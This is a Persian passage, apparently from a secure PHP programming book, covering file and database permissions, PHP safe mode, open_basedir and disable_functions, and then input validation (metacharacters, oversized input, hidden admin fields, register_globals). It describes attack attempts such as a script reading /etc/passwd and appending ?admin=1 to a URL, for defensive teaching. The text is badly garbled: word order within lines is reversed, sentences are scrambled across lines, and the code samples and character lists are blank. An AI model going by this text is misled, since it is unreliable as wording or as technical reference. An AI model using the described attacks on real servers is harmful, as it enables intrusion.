 ساده بسیار حال، این نماید. با کمک کند، وارد تواندمی مهاجم یک که صدماتی نمودن محدود به است

 عبارت دقیق حفاظت تنها برد؛ بین از UPDATE یکتایی گزاره یک با را جدول یکهای داده کل توانمی

 نیست.  گرایانه واقع خیلی ها، برنامه اغلبجهت  که SELECT تنها به مجوزها کردن محدود از بود خواهد

 هر )به کنند اجرا را DELETE تا باشند داشته اجازه بایدها برنامه که برسد نظر به طور این است ممکن

 بمانند؟(. ولی باید یا -بمانند باقی خود حال به نباید گیرندنمی قرار استفاده مورد که قدیمی رکوردهای حال،
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ها برنامه از رسد. بعضیمی نظر به اول نگاه در که است چیزی ازتر پیچیده اندکی وضعیت نیز اینجا در حتی

ای گونه به توانندها میآن اغلب ولی هستند جداول از بعضی در رکوردها نمودن DELETE توانایی نیازمند

 نباشد.  الزام یک دیگر DELETE که بازنویسی( شوند )یا نگاشته

  ایمن غیرای شبکه فعالیت از اجتناب 4.3.5

 ایمن را شماای شبکه کارهای که دادیم اختصاص هاییروش پیرامون بحث به را هشتم و هفتم فصول ما

 روی بر اکسپلویت یک که باشید داشته خاطر به که زمانی شد خواهد خاص اهمیت دارای گزاره کنند. اینمی

 قدرت و اطلاعات تمامی باشد، داشتهای شبکه ارتباط شما محلی سرور با اگر تواند،می دور دست سرور یک

 گرفت نظر در را MySpool کرم که است کافی دهد. تنها قرار مهاجم یک دسترس در را شمای دادهپایگاه

 ضعیف root رمزعبورهای باای شبکه سرور 8000 از بیش به توانست 2005 ی ژانویه تاریخ در که

MySQL از نگهداریجهت  )مثلا ندارید خودی دادهپایگاه با دور راه از ارتباط به نیازی یابد. اگر گسترش 

 پورت یک که کنید آغاز skip-networking--ی گزینه با را mysqld_safe توانیدمی سایت(، از خارج

 کند. می خاموش را firewall tcp 3306 یعنی شما سرور روی بر دیگر آزاد

ی خوشه یک در )مثلا دهید اجازهها آن به خاص هایمیزبان از تنها آنگاه ندارید، نیازی شبکه ارتباطات به اگر

 همین )و گرفت کار به MySQL ارتباطات نمودن ایمنجهت  توانمی را SSH تونل سرور(. رویکرد وب

 کسی چه که است امر این کردن محدودجهت  عالی روش یک این کلی(؛ صورت به شبکه ارتباطات طور

 فایروال یک همراه به آن از باید حال، این نماید. با آغاز شما، MySQL سرور با را ارتباط یک تواندمی

 بندد. می را 3306 پورت به دسترسیهای روش دیگری همه که کنید استفاده

  متناوبهای پشتیبانی با Undo قابلیت افزودن 4.3.6

 کنید. این استفاده مکرر و متناوب صورت به خودی دادههایپایگاه از گیریجهت پشتیبان mysqldump از

 باشد.  MySQL نصب دستورات از بخشی باید که است مهمای اندازه به موضوع

 دسترسی، مجوزهای توسط شده ایجاد امنیتی مباحثجهت  مفید افزارنرم بر مبتنی حل راه یک به اکنون

 پرداخت.  خواهیم

 PHP ( درSafe Mode) ایمن حالت 4.4

 با دسترسی مباحث در موجود امنیتی مشکلات از بعضی حداقل حلجهت  است تلاشی PHP ایمن حالت

 کنیم سعی که نباشد درست است ممکن که حالی . درPHP زبان به شده نوشتههای برنامه رفتار تغییر

 تصمیمها سیستم مدیران از بعضی حال، این با کنیم، حل برنامه سطح در را سیستمی سطح مشکلات
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 همها میزبان از بعضی مشابه، شکل کنند. به اجرا خود سرورهای روی بر ایمن حالت در را PHP که اندگرفته

 کنند.  ارائه ایمن، حالت در تنها را PHP که اندگرفته تصمیم

 وها فایل روی بر تنها تا دهدمی اجازه اسکریپت یک مالک به PHP ایمن، حالت در فعالیت هنگام

 PHP از استفاده احتمال زیادی حد تا واقع در محدودیت کند. این فعالیت خودش، شخصیهای دایرکتوری

 جذابی گزینه یک ایمن حالت بنابراین و رساندمی حداقل به را سیستم یکپارچگی به حمله جهت اجرای

 بهتر، امنیتیهای محدودیت ایجادجهت  را ممکن تلاش تمام خواهندنمی که است سیستمی مدیرانجهت 

 سطوح نیازمند اگر بنابراین و است موقتی حل راه یک روش این حالت، بهترین در حال، این دهند. با انجام

 این تواندمی شما خود سرور یا و شمامیزبان  ایمن حالت که باشید داشته انتظار نباید هستید، امنیت از واقعی

 آورد.  ارمغان به شماجهت  را امنیت نوع

  کندمی کار چگونه ایمن حالت 4.4.1

ی ناحیه ایمن حالت بخش در تنظیمی دستورالعمل یک تنظیم نیازمند تنها ایمن حالت نمودن فعال

 شما (. البته،1 یا on با برابر ) یا  sade_mode TRUEباشد: می php.ini فایل یک در زبانیهای گزینه

 باشید.  داشته دسترسی فایل این به صورتی به یا و بوده مدیرسیستم یک باید

 این و هد دمی انجام فایل عملیات هر روی بر را UID بررسی یک PHP شد، فعال ایمن حالت که هنگامی

 userid با کند( برابرمی مشخص را آن مالک )که اسکریپت یک userid آیا که کندمی مشخص را مسئله

 ارائه حال کردن( در حذف یا کردن ایجاد نوشتن، یا )خواندن عملیات یک که باشدمی دایرکتوری یا فایل

 باشد. می

 را اشتراکی سرور یک روی بر سایتوب یک داشتنحق jasong مهاجم کاربر یک که کنیم فرض دهید اجازه

 که شود،می نامیده docroot معمولا که است دایرکتوری یک مالک کاربر است. این نموده خریداری

 ما )که زیر اسکریپت مثل چیزی کند،می ایجاد را اسکریپت یک وی و گرفت خواهد قرار آن در وی سایتوب

 بخواند:  را سیستم رمزعبور فایل کندمی تلاش که نامیم(،می innocuous.php را آن

 

 PHP موتور یک است، خواندن قابل کاربران تمامیجهت  ضرورت اساس بر etc/passwd/ فایل که آنجا از

 نظر به کهای اندازه به امر دهد. اینمی مهاجم به را نیست( فایل فعال آن در ایمن حالت )که استاندارد

 در بلکه شوندنمی ذخیره آنجا در معمولا سیستمی رمزعبورهای که چرا نیست جدی رسد،می

/etc/shadow توسط تنها که دارند قرار root فراوانی اطلاعات شده افشا فایل این است. ولی دسترسی قابل 

های شل دارایها کاربری نام کدام اینکه شامل شوند، افشا نباید که دهدمی ارائه شما سیستم خصوص در را

 هستند.  لاگین
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 نخواهد فایل این محتوای اسکریپت، اینجهت  معمول خروجی است، فعال ایمن حالت که زمانی حال، این با

 است:  این به شبیه چیزی بلکه بود

 

 فایلی به که دارد ( تلاشjasong )یعنی، 123 کاربر مالکیت تحت اسکریپت یک که گویدمی ما به پیام این

 که چرا است شده مسدود دسترسی این اینکه و یابد دسترسی ( استroot )یعنی 0 کاربر مالکیت تحت که

 از توجه قابل سطح یک ایمن حالت نمودن روشن حالت، این در بنابراین،نیستند.  یکسان مربوطه، مالکین

 دهد. می ارائه را حفاظت

 دادن قرار با که است GID بررسی یک ایمن، حالت UID دقیق بررسیجهت  جایگزین یک

safe_mode_gid on یا( true فعال1 یا ) به دهدمی تسکین را بررسی این دستورالعمل شود. اینمی 

باشد.  منطبق دایرکتوری یا فایل GID با اسکریپت گروه( این )مالک GID اگر شد خواهد تایید کهای گونه

 userid دارایها آن از کدام هر که کنید استفاده دهندگان توسعه از گروه یک از توانیدمی شما طریق، این به

 دارند.  قرار www گروه در همگی ولی بود خواهند خود مختص

  ایمن حالتهای ویژگی سایر 4.4.2

 یک اینجا در ما کنند. ولیمی کنترل را ایمن حالت عملکرد جزئیات سایر اضافی تنظیمیهای دستورالعمل

 کلی، بیان به حال، این ها. بادستورالعمل از کدام هر تعابیر پیرامون بحثی همراه به دهیممی ارائه را کلی مرور

 و execهای دایرکتوری ورودی، دایرکتورهای روی بر را کنترل از توجه قابلی درجه یک شما به ایمن حالت

 تحت موارد خصوص در مختصر توضیح یک اینجا دهد. درمی کاربر، توسط تنظیم قابل محیطی متغیرهای

 است.  شده آورده تنظیمیهای دستورالعمل

 شده مشخص دایرکتوری از فایل یک شامل ایمن حالت محیط یک در شده اجرا اسکریپت یک که هنگامی

( groupid )یا userid معمولهای محدودیت باشد،می safe_mode_include_dir دستورالعمل توسط

 زمانی امر یابد. اینمی شدن واردی اجازه دیگر فرد یک مالکیت تحت اسکریپت یک و شوندمی گرفته نادیده

 است ممکن معمول تنظیم یک و نمایید وارد ( راPEAR قبیل )ازها کتابخانه خواهیدمی شما که است مفید

 در مسیرها نمودن مشخص . هنگامباشد:  این به شبیه

 عنوان به مقدار این ممیز، این کنید. بدونمی وارد را انتهایی ممیز که شوید مطمئن ایمن، حالت دستورالعمل

 و /usr/local/libdneba/ با منطبق usr/local/lib/ که معنی این به شودمی  گرفته نظر در پیشوند یک

/usr/local/libchxo/ فهرست یک از استفاده با توانمی را پیشوند یا دایرکتوری یک از بود. بیش خواهد 

 نمود.  شوند( مشخصمی جدا ویرگول نقطه با ویندوز )در نقطه، دو توسط شده جدا
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 سیستمیهای فایل کدام اینکه دقیق کنترل توانایی از است عبارت ایمن حالتهای ویژگی ترینمهم از یکی

 اجازه مدیران به safe_mode_exec_dir شوند. دستورالعمل اجرا PHPهای اسکریپت توسط توانندمی

 و ImageMagick قبیل از مفید اجرای قابلهای باینری که نمایند مشخص را دایرکتوری یک تا دهدمی

aspell های اسکریپت به اینکه بدون نمود اجرا توانمی راPHP که دهیم اجازه نیز passwd سایر یا 

 که دایرکتوری، یک نام از است عبارت دستورالعمل این نمایند. آرگومان اجرا را سیستمی خطرناک ابزارهای

 فرآیند این کنید. بنابراین،می ایجاد قبول، قابل اجرای قابل فایل نوع هر به را سمبولیک لینک یک شما آن در

 کنید: می ایجاد php.ini در را مناسب ورودی یک شما ابتدا، بود. در خواهد این به شبیه چیزی

 

- ln دستور از استفاده با دایرکتوری این مثال( در )برای aspellجهت  را سمبولیک لینک یک شما ادامه، در

s عنوان به root کنید: می ایجاد 

 

 دسترس( را قابل غیر صورت این غیر در )ولی دسترس قابل ابزار این اکنون شما خود، اسکریپت در نهایت، در

 کنید: می اجرا

 

جهت  که )گلوبال( هستند عمومی محیط متغیرهای با مرتبط ایمن حالت نهایی دستورالعمل دو

 ظاهر ()phpinfo فراخوان در که هستند متغیرهایی همانها باشند. اینمی دسترس در PHPهای اسکریپت

 مدیران اغلب که شوندمی باعث اطلاعات نوع شود. این افشا نباید که است سیستمی اطلاعات که شوند،می

 بدهند. حالت کاربران به را ()phpinfo فراخوانیی اجازه وجه هیچ به نباید واقعا که کنند فکرها سیستم

 PHPهای اسکریپت دسترس از محیطی متغیرهای این تمامی که شودمی باعث فرضپیش صورت به ایمن

 شوند. می آغاز _PHP پیشوند با که هاییآن استثنای به شوند خارج

 متغیر هرجهت  را پیشوندهایی تا دهدمی اجازه شما به  دستورالعمل

 تغییر و کنند )( تنظیمputenv تابع با تا دهید اجازه PHPهای اسکریپت به خواهیدمی که دیگری محیطی

 به که دارند تفاوت لحاظ این از عموم متغیرهای سایر و هاثابت با محیطی متغیرهای نمایید. مشخص دهند،

 یابند. می انتقال ()shell_execهای فراخوان با مثلا اسکریپت، یک توسط شده تولید فرزند پردازش هر
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 اساسی پردازش هر )و خود سرور روی بر اجرا حال درهای برنامه به که بخواهید است ممکن شما مثال، برای

 کار این توانیدمی بدهید. شما را توابع از خاصی کتابخانه یک به شود( دسترسیمی فراخوانها آن توسط که

 دهید:  انجام php.ini در این قبیل از دستورالعمل یک افزودن با را

 

 بهره زیر، مورد مثل استفاده، قابل محیطی متغیر یک جهت ایجاد ()putenv از تواندمی کاربر یک اکنون،

 ببرد: 

 

 نمودن مشخص با را فهرست این تا دهدمی اجازه شما به  دستور

ی اجازه  اگر حتی کنند تغییر توانندنمی که خاصی محیطی متغیرهای

 کنید.  تنظیم بهتر بدهد، را آن

  ایمن حالتهای جایگزین 4.4.3

 عنوان کنیم. بهمی معرفی را ایمن حالت UID بررسیجهت  اصلی جایگزین دو مختصر طور به ما نهایت در

 یا است شده فعال ایمن حالت آیا که شوندمی گرفته کار به امر این از مستقل صورت به موارد این جایگزین،

 انتهای درها آنهای دستورالعمل و اندشده محسوب ایمن حالت از بخشی عنوان به اغلب که )هرچند خیر

 دارند(.  قرار php.ini در ایمن حالت بخش

 باید شود، باز باید که فایلی هر که کندمی تعریف را دایرکتوری یک open_basedir تنظیمی دستورالعمل

 فایل در یا open_basedir /mybasedir با php.ini در توانمی را دستورالعمل گیرد. این قرار آن در

httpd.conf نمود:  تنظیم این، شبیه دستوری با آپاچی 

 

 با مثال )برای شودمی باز PHP کنترل تحت که فایلی هر است، شده تنظیم open_basedir که هنگامی

 فایل نباشد، صورت این به اگر باشد؛ داشته قرار شده، مشخص دایرکتوری این در ( باید()fopen مثل تابعی

جهت  jasong )تلاش قبلی innocuous.php همان فرض با حالتی، چنین یابد. درنمی شدن بازی اجازه

ارائه  را زیر پیام شبیه پیامی شدن، اجرا جای به اسکریپت جهت خواندن(، etc/password/ فایل بازکردن

 دهد: می
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 کاربران توانایی تا سازندمی قادر را شما disable_classes و disable_functionsهای دستورالعمل

 و شوند تنظیم php.ini در بایدها دستورالعمل ایننمایید.  محدود را خاصهای کلاس و توابع اجرایجهت 

 شکل:  این به خطی با ،httpd.conf در نه

 

 شوند. می جدا هم از کاما با که شودمی داده اجازه ورودی چندین که کنید توجه

 اجرا جای به ،innocuous.php مخرب اسکریپت است، شده غیرفعال readfile مثل تابع یک که هنگامی

 کند: می ارائه را زیر پیام مثل پیامی شدن،

 

 یا disable_functions و open_basedir یعنی آن جایگزین دو و ایمن حالت بنابراین،

disable_classes تلاش و زمانی اندکهای هزینه با شما سرورجهت  را امنیت از قوی تقریبا سطح یک 

 قانع دلیل باشند. هیچ سیستم مدیر هر امنیتی ابزارهای از بخشی باید موارد کنند. اینمی ارائه برپایی،جهت 

 ندارد.  وجودها آن از استفاده عدمای جهت کننده

  خلاصه

 دسترسی کنترل همان که کردیم بررسی را ایمن محیط یک حفظ مختلفهای المان آخرین ما فصل، این در

 تنظیم باید دایرکتوری و فایل مجوزهای چرا که دادیم توضیح ما ابتدا، باشد. درمی شما منابع به کاربران

کند.  کمک شما بهها آن تنظیم در تواندمی PHP چگونه و نمود تنظیم راها آن توانمی و باید چگونه شوند،

 کنترل خصوص در پرداختیم. سپس، کاربرانی دادهپایگاه مجوزهای فسخ و اعطا پیرامون بحثی به ادامه، در

 دادیم قرار نظر مد را مسئله این نهایت کردیم. در بحث شما سیستم روی بر اجرا حال در مختلفهای پردازش

 و disable_functions و open_basedir یعنی آن نزدیک همکاران و PHP ایمن حالت که

disable_classes در نباید که هایی دایرکتوری وها فایل از را مهاجمان تا کنند کمک شما به توانندمی 

 دارید.  نگه دور باشند، آنجا

 باشد. می ایمن امکان، حد تا PHP کد خود که بپردازیم امر این از اطمینان کسب به که هستیم آماده اکنون
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 کاربر ورودیداده های  اعتبار پنجم: تایید فصل 5

 حال، این با و بود خواهند استفاده بدون آنها ، نمائید استفاده کاربرانتانهای داده از نتوانید شما که صورتی در

 است ممکن مشروع گیرد. کاربرانمی قرار خطر در بودن، دسترس در دلیل بهها داده این که اینجاست جالب

 دقت با نامشروع کاربران بود؛ خواهند خطرناک نهایت در که دهند انجام را هاییدرخواست گاهی

 ردای گونه به راها آن بتوانند که امید این به هستند، خطرناک دانندمی که کنندمی ایجاد را هاییدرخواست

 نشوید.  متوجه شما که کنند

 این که کنیممی آغاز خصوص این در بحثی با و کنیممی بیان را ورودی اعتبار تایید مفهوم ما فصل، این در

 به دادن )اجازه متغیرها خصوص در PHPباشد.  می اهمیتی چه دارای شماهای برنامه کلی امنیتجهت  امر

 باز، برای در یک واقع انواع( در خودکار تبدیل و شدن اعلام بدون گرفتن قرار استفاده موردها جهت آن

ارائه  را خود کاربرانهای داده از محافظتجهت  خود نهایی هدف که باشد قرار باشد. اگرمی بالقوه خطرات

 شماهای اسکریپتجهت  کاربران که دارید مبذول ییهاداده اعتبار تایید به را خاصی توجه باید آنگاه آورید،

 باشد. می فصل این موضوع ،هاداده این اعتبار تایید کنند. فرآیندمی ارسال

 را آن و کندمی عمل کاربر ورودیجهت  انتزاعیی لایه یک عنوان به که کنیممی ایجاد را PHP کلاس یک ما

 و انواع به متعلق عنوان به را مقادیر ایمن، صورت به کهای گونه به دهیممی گسترش ماژولیای شیوه به

 نماید.  اعتبار تایید داده، خاصهای فرمت

 خواهیم ارائه شما،های برنامه در ورودی اعتبار تاییدهای نقص یافتن،جهت  را هاییاستراتژی ما نهایت، در

 توانستندمی که نمود خواهد قطع را مسیرهایی، کاربر ورودی دقیق محدود نمودن و بررسی واقع، نمود. در

 قبیل از پرداخت خواهیمها آن فصل های بعدی به در ما که شوند استفاده حملاتی انواع از بسیاریجهت 

 است.  نشده مشخص نیزها آن اسم حتی که حملات از دیگر بسیاری و دور راه از اجرای ،SQL 40تزریق

  بگردیم؟ چه دنبال به 5.1

 را اشتباهی اندازه با یا اشتباه نوع باهای داده کاربر یک که است این با مرتبط آسیب پذیری، نوع ترینمعمول

 کد یا و رویبرونهای توالی قبیل از خاصی کاراکترهای شامل که نماید وارد ییهاداده یا و نماید ارسال

 بر را اشتباهیهای داده یا و بیندازد کار از را شمای برنامه تواندمی نامعتبر فرمت با داده باشند. ورود دودویی،

 سایر در را هایی اکسپلویت تواندکند. می حذف داده،پایگاه از راها داده حتی یا و بنویسد دادهپایگاه روی
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 سایر موجب تواندمی کند. یا ایجاد شوند،می فراخوانی شما اسکریپت توسط که هاییبرنامه یا وها کتابخانه

 رخ تصادفی صورت به اگر بود خواهد بد کافیی اندازه به امر شود. این شمای برنامه بستر در غیرمترقبه نتایج

 به نفوذجهت  تلاش در که فردی توسط بتواند که شود شرایطی باعث غیرمترقبههای داده نتایج اگر دهد؛

 باشید.  رو به رو واقعی مشکل یک با است ممکن شما گیرد، قرار استفاده مورد است سیستم

 موجب دارد احتمال که دهیممی قرار بررسی مورد را کاربری ورودی مختلف انواع از بعضی ما بخش، این در

 شوند.  PHPهای اسکریپت در مشکلاتی

  41متاکاراکترها حاوی ورودی 5.1.1

 کاراکترهای از یکی شامل اگر باشد بالقوه خطر دارای تواندمی رقمی-الفبایی ورودی ترینمعمولی حتی

 هنگام در خاصی معنای دارای که کاراکترهایی شوند،می شناخته متاکاراکتر عنوان به که باشد متعددی

 مقدار یک عنوان به توانندمی سادگی به کاراکترها هستند. این شما سیستم مختلفهای بخش توسط پردازش

 نمود.  تایپ کیبورد یک با راها آن سادگی به توانمی که چرا شوند فرستاده مهاجم یک توسط

 فراخوانی را شل در موجود مختلف توابع و دستورات که باشدمی ییهاآن شامل متاکاراکترها از مجموعه یک

 از:  است عبارتها آن از مثال کنند. چندمی

 

 شل آرگومان یک عنوان به شده ارسالی رشته یک در قول نقل علامت بدون که صورتی در کاراکترها این

 خواستیدنمی زیاد احتمال به شما که شوند رخدادی به منجر توانندمی گیرند قرار استفاده مورد PHP توسط

 دهد.  رخ

 42هایکوئری در خاصی معنای دارای که باشدمی هاییآن شامل متاکاراکترها از دیگری مجموعه یک

(queryپایگاه )هستند:  داده 

 

 آشکار حد این تاها آن خطر و نیستند تایپ قابل سادگی به که دارد وجود کاراکترها از دیگری دسته یک

 در کاراکتر 32 اولینها شوند. این محسوب شما،ی دادهپایگاه و سیستمجهت  تهدیدی توانندمی ولی نیست،

 شوندمی نامیده کنترل کاراکترهای گاهی که باشندیونیکد( می )یا ASCII کاراکترهای استاندارد مجموعه
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 که گرفتند. هرچندمی قرار استفاده مورد متن چاپ و نمایش از خاصی ابعاد کنترلجهت  ابتدا در که چرا

 شوند ( ظاهرblob یک قبیل )از باینری مقادیر حاوی فیلد یک در راحتی به تواندمی کاراکترها این از هرکدام

 حتی است ممکنها آن از اندکی تعداد حال، این ندارند. با معمولیی رشته یک در جاییهیچها آن اغلب ولی

 بشوند: نیز مشروعی رشته یک وارد

 شود. می شناخته نیز FALSE یا ASCII 0، NULL عنوان به که x00\ کاراکتر

 r\ و n\ خط انتهای کاراکترهای یا ASCII 13 و ASCII 10 عنوان به ترتیب به که x13\ و x10\ کاراکترهای

 شوند.می شناخته نیز

 قرار استفاده مورد فایل انتهای نشانگر یک عنوان به و شده شناخته نیز ASCII 26 عنوان به که x1a\ کاراکتر

 گیرد. می

 بهترین در شوند، ظاهر کاربر یک متنی ورودی در غیرمترقبه صورت به که کدها، یا کاراکترها این از کدام هر

 یا دستور تزریقی اجازه توانندمی حالت بدترین در و کنند تخریب یا و نامرتب را ورودی توانندمی حالت

 بدهند.  را خاصیی حمله اسکریپت

ی دهنده نشان که دارد وجود xff\ از بالاتر بایتی چند یونیکد کاراکترهای از بزرگی دسته یک نهایت، در

 به که هستند، بایت یک طول دارای تنها کاراکترها این صحنه، باشد. پشتمی لاتین غیر علامات و کاراکترها

های توالی 43نماید. یونیکد اتخاذ تواندمی کاراکتر یک که دارد وجود ممکن مقدار 256 تنها که معناست این

 نگاشته علائم، وها نشانه از زیادی تعداد و انسانی الفباهای اغلب به که کندمی تعریف را بایتی 4 و 2 خاص

 احتمالا و داشت نخواهند معنایی شوند شکسته یکتا،های بایت به اگر بایتی چند کاراکترهای شوند. اینمی

 چند کاراکترهای PHP داشتند. خود ASCII متن انتظار که شوند هایی برنامه وارد اگر بود خواهند خطرناک

 به است ممکن فایلهایسیستم و دادههایپایگاه ها،برنامه سایر ولی کند،می مدیریت ایمن شکلی به را بایتی

 نباشند.  صورت این

  ورودی اشتباه نوع 5.1.2

 دارای است ممکن زیادی بسیار احتمال با هستند نامعتبر فرمت یا و داده اشتباه نوع دارای که ورودی مقادیر

 موجب موارد این حالت، بهترین باشند. در شماهای برنامه در نامطلوب نتیجه در و غیرعمدی تاثیرات

                                                   

 

 

43 UNICODE 



  PHPنویسي امن برنامه

150 

 

 
 

 ممکن موارد این حالت، بدترین دهد. درارائه می  سیستم خصوص در را اطلاعاتی که شد خواهند خطاهایی

 شود: می ارائه ساده مثال چند اینجا دهند. در ارائه را تهاجمیهای روش است

 مقادیر از دیگری نوع و کنید ایجاد آن از استفاده با را یونیکس زمان یک تا دارید را تاریخ یک انتظار شما اگر

 برابر یونیکسهای سیستم در که بود خواهد 1969 دسامبر 31جهت  شده ایجاد زمان شود، ارسال شماجهت 

 باشد. می 1-ی ثانیه با

 فایل کنند. عملیات دریافت تصویری غیر ورودی اگر کرد خواهند هنگ معمولا تصویر پردازشهای برنامه

 فایل نام یک از بخشی عنوان به را باینریهای داده اگر افتاد خواهند کار از بینیپیش غیرقابل نتایج با سیستم

 کنند.  دریافت

 بزرگ حد از بیش ورودی 5.1.3

 حد از بیش را منابع کنند، مختل را شمای برنامه است ممکن هستند بزرگ حد از بیش که ورودی مقادیر

 اینجا درشوند.  زیرینی شده اجراهای برنامه یاها کتابخانه در 44بافر سرریز شرایط باعث یا و کنند مصرف

 شود:می ارائه ممکن موارد از مثال چند

 قرار املایی بررسی مورد نظرات، فرم یک روی بر را HTML متنیی ناحیه یک ورودی که دارید قصد اگر

 مهاجم یک نکنید، محدود نمود ارسال املاییی کننده بررسیجهت  توانمی که را متنی مقدار و دهید،

 ارسال، هر در ( راphp.ini در شده تعیین PHP فرضپیش memory_limit) متن 8MB حد تا تواندمی

 امر این حالت، بدترین در و شود شما سیستم کندشدن موجب تواندمی امر این حالت، بهترین بفرستد. در

 شود.  شما سرور حتی یا و شمای برنامه تخریب موجب تواندمی

 که کاربری ورودی هستند. هر کاراکتر کمتری تعداد یا 255 به محدود دادههای پایگاه فیلدهای از بعضی

 کاربر که چیزی از بخشی نتیجه در و نموده کوتاه مخفیانه، صورت به توانمی را باشد مقدار این ازتر طولانی

 برود.  دست از است، داشته را آنی ذخیره انتظار

 دریافت را حدی از بیش ورودی که سیستم فایلهای هستند. برنامه طول محدودیت دارای نیزها فایل نام

 بد(، نتایج با )احتمالا دهند ادامه خود کار به مطلوب، نامی مخفیانه کردن کوتاه از بعد است ممکن کنندمی

 کنند. کرش اینکه یا
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 خود درون در خوشبختانه که هرچند است، حد از بیش ورودی با مرتبط اصلی خطر البته نیز بافر سرریز

PHPمقدار ازتر طولانی که کندمی ارسال را داده از مقداری کاربر یک که دهدمی رخ زمانی بافر سرریز . یک 

 از پس حافظه درون به داده باشد. انتهایمی آن، دریافتجهت  برنامه یک توسط یافته تخصیصی حافظه

 دارد:  بر در را زیر احتمالی نتایج و کندمی سرریز بافر، اتمام

 شود. بازنویسی است ممکن موجود متغیر یک •

 بیفتد.  کار از است ممکن برنامه یا و شده ایجاد است ممکن برنامه ضرر بی خطای یک •

 شود بازنویسی کند،می اجرا را ارسالی کد که دستور یک با است ممکن دستور یک •

  مخفیهای رابط از استفاده سوء 5.1.4

 فرم یک ایجاد با تواندمی مهاجم یک که است مدیریتی رابط قبیل از شمای برنامه ازای لایه مخفی، رابط یک

 است ممکن مخفی رابط چنین چگونه اینکه از ساده بسیار مثال یابد. جهت یک دسترسی آن به درخواست، یا

 بگیرید:  نظر در را زیر اسکریپت تکه گیرد، قرار استفاده سوء مورد

 

است.  name ورودی یک دارای تنها که کندمی استفاده فرم از ویرایش یک از نیست مدیر یک که کاربر یک

 پاک شیء این شودمی باعث که باشدمی delete نام با اضافی فیلد یک شامل، فرم این مدیر ویرایش ولی

 کاربر یک سوی از delete متغیرجهت  را مقداری هیچ انتظار کندمی مدیریت را فرم این که شود. اسکریپتی

 و نموده ایجاد را خود editObject فرم که باشد قادر خوبی به است ممکن مهاجم یک ندارد. ولی معمولی

 نماید.  سیستم از اشیا حذفجهت  آن از استفاده به سعی

  غیرمترقبه دستورات حاوی ورودی 5.1.5

 بر مبتنی زیادی حد تا شودمی ظاهر ورودی رشته یک در ناگهانی صورت به که غیرمترقبه دستور یک اثرات

 سخت حال، این شوند. با PHP ضرربی خطاهای موجب تنها است ممکن دستورات از هستند. بعضی برنامه

 گذر صلاحیت تاییدهای روتین از بتواند کاربر ورودی ها،آن در که نماییم تصور را سناریوهایی که نیست
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 گذاشته ورودی یک در توانندمی دستورات که هایینماید. روش آغاز را دستی پایینهای برنامه یا و نموده

 هستند:  زیر قرار از شوند

 در را حمله نوع این از )جلوگیری نماید تزریق SQLهای کوئری درون به را دستورات است ممکن 45مهاجم

 دهیم(.می قرار بحث مورد ششم فصل

جهت  هاییراه دنبال به که باشدمی اسپمرهاجهت  بالقوه هدف یک کندمی ارسال ایمیل که اسکریپتی هر

 گردند. می خودهای پیام ارسالجهت  شما اسکریپت از استفاده

 کنند. یکمی استفاده ارتباط بستن یا و تنظیمات تغییرجهت  فرارهای توالی از اغلب شبکه سوکت ارتباطات

 تواندمی که نماید تزریق ارتباطی، چنین در ارسالی مقادیر درون به را فرارهای توالی است ممکن مهاجم

ترین جدی بالقوه صورت به شل دور راه از و سایتی بین نویسیاسکریپت گردد. مخرب بسیار نتایج موجب

 قرار بحث مورد هشتم و هفتم فصل در را حمله انواع این از ممانعت هستند. ما دستور تزریقهای نقص انواع

 دهیم. می

 PHP در کاربر ورودیداده های  اعتبار تاییدجهت  هایی استراتژی 5.2

 پردازیم. می کاربر ورودی اعتبار تاییدجهت  هایی استراتژی به اکنون ما

 PHPهای ورودی نمودن ایمن 5.2.1

 فراهم شماهای اسکریپتجهت  را حفاظت مقدار یک که نمود تنظیمای گونه به میتوان را PHP زبان خود

 قرار مستقل کنترل تاثیر تحت که آن از هایی بخش حداقل )یا کنیدمی کنترل را زبان این رفتار نماید. شما

 بخش، این کنید. درمی وارد php.ini یعنی PHP تنظیمات فایل در راها دستورالعمل که صورت این دارند( به

نمود(  تکیه آن به نباید که موردی )شامل دهیممی قرار بحث مورد را PHP محیط تنظیمات از مورد سه ما

 هستند.  کاربر ورودی برابر در شماهای اسکریپت نقص روی بر مهم تاثیر یک دارای که

  عمومی متغیرهای نمودن خاموش 5.2.1.1

 امر بود. این روشن PHPی اولیههای ویرایش در فرضپیش صورت به register_globals بدنام دستورالعمل

 به متغیرها سازیعمومی که بردندمی بهره واقعیت این از که شدمی نویسانبرنامه کار راحتی موجب مطمئنا

آیند. می کجا از متغیرها مقادیر که نباشند امر این نگران خودهای اسکریپت در که دادمی اجازهها آن
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جهت  GET$_ و COOKIE$_ و POST$_های در آرایه مقادیر که شد باعث امر این الخصوص،علی

 باشند.  دسترس در محلی، متغیرهای بهها آن دقیق تخصیص به نیاز هیچگونه بدونها اسکریپت

 کنیم: می ارائه را زیر اسکریپت تکه ما خطر، این دادن نشان برای

 

است.  ایمن فنی، دید از کد این کارانه، محافظه محیط یک در و رسدمی منطقی نظر به کد این اولیه، نگاه در

 باشد باهوش کافیی اندازه به که معمولی کاربر هر برابر در برنامه آنگاه باشد، فعال register_globals اگر ولی

 شد.  خواهد شکننده نماید، اضافه URI به را admin=1? که

 آن، از استفاده از قبل که داد خواهد قرار FALSE با برابر را admin? فرضپیش مقدار تر،ایمن ویرایش یک

 شد.  خواهد انجام
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-auth$ بار، هر در آشکار صورت به و کرده فراموش را flag باید شما ایمنی، بالاترینجهت  البته،

>isAdmin() نمایید.  فراخوانی را 

 به دانستند؛می توجه قابل راحتی یک را register_globalsی گزاره ،PHPی اولیه دهندگان توسعه از بسیاری

 کردیدمی تایپ باید POST$_ فراعمومیی آرایه ظهور از قبل حال، هر

$GLOBALS['HTTP_POST_VARS']['username'] یک امروزه که جهت چیزی 

_$POST['username'] تنظیمات که شد مشخص گسترده صورت به نهایت در باشد. البتهمی ساده on 

 2002 آوریل 22 در که PHP از 4.2.0 ویرایش شروع با بنابراین، شد.می توجهی قابل امنیتی مسائل موجب

 گرفت.  قرار off روی بر فرضپیش صورت به register_globals دستورالعمل شد، منتشر

 امر این بر که بودند شده نوشتهای گونه به که بود آمده وجود به اسکریپت زیادی تعداد زمان، آن تا متاسفانه،

 اینترنت،های سرویس دهندگان ارائه وها میزبان که حالی باشد. در روشن عمومی، متغیرهای که داشتند تکیه

ی جامعه حیرت و بهت باعث که نمودند، شکستن به شروعها اسکریپت این دادند، ارتقا را خود PHP نصب

 اینی افزوده امنیت که نبودند مایل یا توانستندنمی همچنان که آن از بخشی آن حداقل یا و شد نویسیبرنامه

های نقص کهای گونه به شدند تعمیر خراب،های اسکریپت این نهایت نمایند. در درک را جدید تنظیمات

